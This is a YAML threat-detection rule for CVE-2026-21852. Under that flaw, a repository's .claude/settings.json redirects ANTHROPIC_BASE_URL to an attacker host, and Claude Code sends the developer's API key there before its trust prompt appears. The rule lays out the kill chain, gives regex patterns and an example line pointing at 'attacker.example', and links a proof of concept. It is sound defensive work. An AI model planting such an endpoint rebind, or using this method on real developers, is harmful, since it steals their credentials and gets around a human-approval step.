title: Claude Code ANTHROPIC_BASE_URL Credential Exfiltration (CVE-2026-21852)
id: ATR-2026-00524
rule_version: 1
status: experimental
description: |
  Detects exploitation of CVE-2026-21852 (Moderate, CVSS 5.3), credential exfiltration in Claude Code via attacker-controlled `ANTHROPIC_BASE_URL`. An attacker-controlled repository ships a `.claude/settings.json` (or environment configuration) that sets `ANTHROPIC_BASE_URL` to an attacker-controlled endpoint. Claude Code makes its first API request BEFORE the trust prompt renders, leaking the `Authorization: Bearer <api-key>` header — i.e. the developer's active Anthropic API key — to the attacker's server. The full kill chain is: clone-or-open malicious repo → Claude Code loads repo-scoped settings → first API request fires pre-trust against `ANTHROPIC_BASE_URL` → attacker captures the live API key from the `Authorization` header → attacker uses key for unauthorised inference, account takeover, or onward credential pivoting. Detection anchors on `ANTHROPIC_BASE_URL` being set to any endpoint outside the documented Anthropic-controlled host list (`api.anthropic.com`, `*.googleapis.com` Vertex endpoints, `*.bedrock.*.amazonaws.com` Bedrock endpoints) — bare IP, plain http, or any non-Anthropic FQDN is a strong signal. CWE-522 (insufficiently protected credentials), CWE-1188 (insecure default), CWE-440 (expected behaviour violation). Patches in Claude Code >= 2.0.65 (GHSA-jh7p-qr78-84p7); affected versions < 2.0.65. PoC at github.com/atiilla/CVE-2026-21852-PoC. This rule detects exploit configs in repo-scoped settings.json and shell-env files, and provides defence-in-depth post-patch by flagging the dangerous endpoint rebind regardless of upstream patch state.
author: ATR Community
date: 2026/05/13
schema_version: '0.1'
detection_tier: pattern
maturity: test
severity: critical
references:
  owasp_llm:
    - LLM02:2025
    - LLM06:2025
  owasp_agentic:
    - ASI01:2026
    - ASI04:2026
    - ASI09:2026
  mitre_atlas:
    - AML.T0010 - AI Supply Chain Compromise
    - AML.T0024 - Exfiltration via AI Inference API
    - AML.T0055 - Unsecured Credentials
  mitre_attack:
    - T1552 - Unsecured Credentials
    - T1552.001 - Credentials In Files
    - T1539 - Steal Web Session Cookie
    - T1195.002 - Compromise Software Supply Chain
  cve:
    - CVE-2026-21852
  research:
    - https://research.checkpoint.com/2026/claude-code-anthropic-base-url-cve-2026-21852/
    - https://github.com/anthropics/claude-code/security/advisories/GHSA-jh7p-qr78-84p7
    - https://github.com/atiilla/CVE-2026-21852-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21852
metadata_provenance:
  mitre_atlas: human-reviewed
  mitre_attack: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
  cve: human-reviewed
compliance:
  eu_ai_act:
    - article: '15'
      context: CVE-2026-21852 causes Claude Code to leak the developer's active Anthropic API key to an attacker-controlled endpoint before the trust dialog renders; Article 15 cybersecurity requirements mandate that AI coding assistants protect authentication tokens from exfiltration by repo-scoped configuration.
      strength: primary
    - article: '14'
      context: Article 14 human oversight requirements are violated when an HTTP request carrying live credentials fires before the developer can review the destination — the human-reviewable signal arrives after the credential has already left the host.
      strength: primary
    - article: '9'
      context: Article 9 risk management must enumerate repo-scoped env-var rebind (`ANTHROPIC_BASE_URL`, `OPENAI_API_BASE`, equivalents) as a high-risk supply-chain ingress for credential exfiltration.
      strength: primary
    - article: '10'
      context: Article 10 (data and data governance) requires control over the data an AI system processes; this rule provides detection evidence for the context-exfiltration attempt (Claude Code ANTHROPIC_BASE_URL Credential Exfiltration (CVE-2026-21852)) affecting that data.
      strength: secondary
  nist_ai_rmf:
    - subcategory: MP.5.1
      context: Repo-scoped env-var rebind that redirects API traffic to an attacker endpoint must be tracked as a primary credential-exfil pattern affecting AI coding assistants.
      strength: primary
    - subcategory: GV.6.1
      context: Supply-chain governance under GV.6.1 must include integrity verification for any AI-assistant config file that can override the API endpoint; CVE-2026-21852 exploits the absence of an endpoint allowlist on `ANTHROPIC_BASE_URL` parsing.
      strength: primary
    - subcategory: MG.4.1
      context: Detection of a non-Anthropic `ANTHROPIC_BASE_URL` value in a repo-scoped config requires immediate incident response — the API key may already be in the attacker's logs.
      strength: primary
    - subcategory: MS.2.7
      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the context-exfiltration attempt (Claude Code ANTHROPIC_BASE_URL Credential Exfiltration (CVE-2026-21852)).
      strength: primary
    - subcategory: MS.2.10
      context: NIST AI RMF MEASURE 2.10 (privacy risk examined and documented) is supported by this rule's detection of the context-exfiltration attempt (Claude Code ANTHROPIC_BASE_URL Credential Exfiltration (CVE-2026-21852)).
      strength: secondary
  iso_42001:
    - clause: '8.1'
      context: Operational controls under clause 8.1 must require an allowlist of permitted API endpoints for any AI-tool credential-bearing request; arbitrary `ANTHROPIC_BASE_URL` overrides from repo-scoped configuration violate the least-privilege principle.
      strength: primary
    - clause: '6.2'
      context: Clause 6.2 AIMS security objectives include credential protection; pre-trust API requests with the active Authorization header sent to a config-controlled endpoint operationalise the boundary violation.
      strength: primary
tags:
  category: context-exfiltration
  subcategory: env-var-rebind-credential-exfil
  scan_target: both
  confidence: high
agent_source:
  type: mcp_exchange
  framework:
    - claude-code
    - any
  provider:
    - anthropic
    - any
detection:
  condition: any
  false_positives:
    - Legitimate Claude Code documentation discussing `ANTHROPIC_BASE_URL` configuration for proxy / corporate-egress scenarios where the endpoint is internally trusted.
    - Static analysis tooling output documenting CVE-2026-21852 attack patterns for defensive purposes.
    - Patched Claude Code >= 2.0.65 deployments where the trust gate now fires before the first API request — detection still flags the config shape but the runtime impact is mitigated.
    - Internal team templates that include reviewed `.claude/settings.json` fixtures pointing at an internally-operated Anthropic proxy with documented credential-handling controls.
    - Local development with `ANTHROPIC_BASE_URL=http://localhost:port` or `http://127.0.0.1:port` against a local mock — detection should not fire on localhost loopback by design.
  conditions:
    - field: content
      operator: regex
      value: (?i)"ANTHROPIC_BASE_URL"\s*:\s*"https?://(?!(?:api\.anthropic\.com|[a-z0-9\-]+\.googleapis\.com|(?:bedrock|bedrock-runtime|bedrock-agent|bedrock-agent-runtime)\.[a-z0-9\-]+\.amazonaws\.com|localhost|127\.0\.0\.1|0\.0\.0\.0|ai-gateway\.vercel\.sh|gateway\.portkey\.ai|api\.openrouter\.ai|[a-z0-9\-]+\.helicone\.ai)(?:[:/"]|$))[^"]+"
      description: Claude Code `.claude/settings.json` setting `ANTHROPIC_BASE_URL` to any host outside the Anthropic-controlled allowlist (api.anthropic.com / Google Vertex *.googleapis.com / AWS Bedrock bedrock*.<region>.amazonaws.com / localhost loopback) — CVE-2026-21852 canonical exploit shape. Negative lookahead allowlists the legitimate hosts.
    - field: content
      operator: regex
      value: (?i)\bANTHROPIC_BASE_URL\s*=\s*["\x27]?https?://(?!(?:api\.anthropic\.com|[a-z0-9\-]+\.googleapis\.com|(?:bedrock|bedrock-runtime|bedrock-agent|bedrock-agent-runtime)\.[a-z0-9\-]+\.amazonaws\.com|localhost|127\.0\.0\.1|0\.0\.0\.0|ai-gateway\.vercel\.sh|gateway\.portkey\.ai|api\.openrouter\.ai|[a-z0-9\-]+\.helicone\.ai)(?:[:/\s"\x27]|$))[^\s"\x27]+
      description: Shell / dotenv / Dockerfile / GitHub Actions env-var form (`ANTHROPIC_BASE_URL=https://attacker.example`) outside the Anthropic allowlist — variant ingress path for the same exploit class.
    - field: content
      operator: regex
      value: (?i)"ANTHROPIC_BASE_URL"\s*:\s*"https?://(?!(?:127\.|10\.|0\.0\.0\.0|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.))(?:\d{1,3}\.){3}\d{1,3}(?::\d{1,5})?(?![\d.])
      description: ANTHROPIC_BASE_URL set to a bare IPv4 address (excluding loopback 127.0.0.0/8 + RFC1918 private ranges 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, and 0.0.0.0) — strong indicator of attacker-controlled endpoint. Legitimate use cases resolve through a corporate proxy hostname rather than a bare public IP.
    - field: content
      operator: regex
      value: (?i)"ANTHROPIC_BASE_URL"\s*:\s*"http://(?!(?:localhost|127\.0\.0\.1|0\.0\.0\.0)(?:[:/"]|$))[^"]+"
      description: ANTHROPIC_BASE_URL set to plain `http://` (not HTTPS) against a non-loopback host — credential leaks in cleartext, never a legitimate production configuration.
    - field: content
      operator: regex
      value: (?i)\.claude[/\\]settings(?:\.local)?\.json[\s\S]{0,400}"ANTHROPIC_BASE_URL"\s*:\s*"https?://(?!(?:api\.anthropic\.com|[a-z0-9\-]+\.googleapis\.com|(?:bedrock|bedrock-runtime|bedrock-agent|bedrock-agent-runtime)\.[a-z0-9\-]+\.amazonaws\.com|localhost|127\.0\.0\.1)(?:[:/"]|$))
      description: Repo-scoped `.claude/settings.json` co-located with an off-allowlist ANTHROPIC_BASE_URL — path + payload co-occurrence anchor for skill / documentation scans.
    - field: content
      operator: regex
      value: (?i)(?:pre[_\s\-]?trust|before\s+(?:the\s+)?trust\s+(?:dialog|prompt))[^\n]{0,160}(?:ANTHROPIC_BASE_URL|api\s+request|authorization\s+header|api\s+key)
      description: Skill content describing the pre-trust API-request property exploited by CVE-2026-21852 — co-occurrence anchor for documentation / poisoning scans.
    - field: content
      operator: regex
      value: (?i)\b(?:CVE-2026-21852|GHSA-jh7p-qr78-84p7)\b[^\n]{0,200}\b(?:ANTHROPIC_BASE_URL|api[_\s\-]?key|authorization\s+header)\b
      description: Co-occurrence of the CVE / GHSA identifier with the exploit primitive (ANTHROPIC_BASE_URL / API key / Authorization header) — threat-intel context anchor.
response:
  actions:
    - block_input
    - alert
    - escalate
    - snapshot
  message_template: |
    [ATR-2026-00524] CRITICAL: Claude Code ANTHROPIC_BASE_URL credential exfiltration pattern detected (CVE-2026-21852). Repo-scoped `.claude/settings.json` (or env config) sets ANTHROPIC_BASE_URL to a host outside the Anthropic-controlled allowlist — pre-trust API request leaks Authorization header. Reject the config; rotate the affected Anthropic API key immediately; treat repo-shipped `.claude/settings.json` as untrusted until reviewed.
remediation: |
  Upgrade Claude Code to >= 2.0.65 (GHSA-jh7p-qr78-84p7). Rotate any Anthropic API key that was active on a host that opened an untrusted repository before the upgrade. Enforce an endpoint allowlist on `ANTHROPIC_BASE_URL` parsing — accept only `api.anthropic.com`, documented Vertex / Bedrock endpoints, and approved corporate proxies. Reject repo-scoped overrides of `ANTHROPIC_BASE_URL` by default; require an explicit user-confirm step on first session for any endpoint outside the allowlist. Code-review every `.claude/settings.json` and equivalent dotenv files in cloned projects before the first session open.